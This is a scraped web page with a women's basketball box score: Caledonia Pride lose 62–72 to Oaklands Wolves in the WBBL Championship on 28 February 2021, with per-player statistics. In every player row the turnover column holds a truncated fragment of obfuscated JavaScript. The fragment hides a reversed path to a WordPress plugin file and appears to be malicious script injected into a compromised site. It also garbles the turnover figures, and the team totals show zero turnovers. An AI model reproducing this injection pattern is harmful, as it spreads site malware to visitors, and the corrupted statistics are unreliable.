WBBL Championship 28th February 2021 - 3:00 pm
Details
Date | Time | League | Season | Full Time |
---|---|---|---|---|
28th February 2021 | 3:00 pm | WBBL Championship | 2020/21 | 40' |
Results
Team | 1 | 2 | 3 | 4 | T |
---|---|---|---|---|---|
Caledonia Pride | 18 | 9 | 19 | 16 | 62 |
Oaklands Wolves | 18 | 20 | 14 | 20 | 72 |
Caledonia Pride
# | Player | Position | PTS | REB | AST | STL | BLK | FGM | FGA | FG% | 3PM | 3PA | 3P% | FTM | FTA | FT% | OFF | DEF | TO | PF |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5 | Sian Phillips | Forward | 22 | 16 | 3 | 2 | 4 | 8 | 15 | 53.3 | 1 | 1 | 100.0 | 5 | 6 | 83.3 | 7 | 9 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
4 | Maud Ranger | Guard | 9 | 9 | 2 | 0 | 0 | 4 | 15 | 26.7 | 1 | 4 | 25.0 | 0 | 1 | 0.0 | 4 | 5 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
25 | Elise Tweedie | Center | 8 | 2 | 1 | 0 | 1 | 3 | 5 | 60.0 | 0 | 0 | 0 | 2 | 2 | 100.0 | 1 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
20 | Private: Pollyanna Storie | Forward | 7 | 6 | 1 | 1 | 2 | 3 | 12 | 25.0 | 1 | 3 | 33.3 | 0 | 0 | 0 | 1 | 5 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">04 | |
6 | Rose Harvey | Guard | 5 | 3 | 1 | 0 | 0 | 2 | 7 | 28.6 | 1 | 4 | 25.0 | 0 | 0 | 0 | 0 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
19 | Private: Ella Doherty | Guard | 4 | 2 | 2 | 0 | 0 | 2 | 6 | 33.3 | 0 | 2 | 0.0 | 0 | 0 | 0 | 0 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
14 | Maela Faleu | Guard | 4 | 5 | 2 | 2 | 0 | 2 | 6 | 33.3 | 0 | 2 | 0.0 | 0 | 0 | 0 | 2 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
10 | Private: Sophie Leslie | Guard | 3 | 1 | 0 | 0 | 0 | 1 | 1 | 100.0 | 1 | 1 | 100.0 | 0 | 0 | 0 | 0 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
50 | Eabha Kerr | Forward | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0.0 | 0 | 1 | 0.0 | 0 | 0 | 0 | 0 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">04 | |
22 | Sophie Loughran | Forward | 0 | 2 | 0 | 0 | 0 | 0 | 2 | 0.0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
Total | 62 | 47 | 13 | 5 | 7 | 25 | 70 | 35.7 | 5 | 18 | 27.8 | 7 | 9 | 77.8 | 16 | 31 | 0 | 21 |
Oaklands Wolves
# | Player | Position | PTS | REB | AST | STL | BLK | FGM | FGA | FG% | 3PM | 3PA | 3P% | FTM | FTA | FT% | OFF | DEF | TO | PF |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | Amari Carter | - | 20 | 6 | 2 | 4 | 3 | 8 | 22 | 36.4 | 0 | 6 | 0.0 | 4 | 4 | 100.0 | 2 | 4 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
17 | Greeta Uprus | - | 14 | 6 | 2 | 1 | 0 | 4 | 12 | 33.3 | 4 | 8 | 50.0 | 2 | 2 | 100.0 | 1 | 5 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
15 | Louise Rouse | - | 12 | 4 | 1 | 2 | 1 | 3 | 8 | 37.5 | 0 | 1 | 0.0 | 6 | 8 | 75.0 | 4 | 0 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
10 | Lauren Milligan | - | 10 | 10 | 1 | 2 | 2 | 4 | 8 | 50.0 | 0 | 0 | 0 | 2 | 4 | 50.0 | 3 | 7 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
6 | Dorka Boros | - | 6 | 3 | 3 | 4 | 0 | 2 | 15 | 13.3 | 0 | 0 | 0 | 2 | 4 | 50.0 | 2 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
8 | Beth Sarson | - | 4 | 5 | 5 | 2 | 0 | 2 | 7 | 28.6 | 0 | 2 | 0.0 | 0 | 2 | 0.0 | 2 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
5 | Daisy Porter | - | 4 | 4 | 3 | 0 | 0 | 2 | 5 | 40.0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
1 | Jocie Leavold | - | 2 | 1 | 0 | 0 | 0 | 1 | 2 | 50.0 | 0 | 1 | 0.0 | 0 | 0 | 0 | 0 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
Total | 72 | 39 | 17 | 15 | 6 | 26 | 79 | 32.9 | 4 | 18 | 22.2 | 16 | 24 | 66.7 | 15 | 24 | 0 | 12 |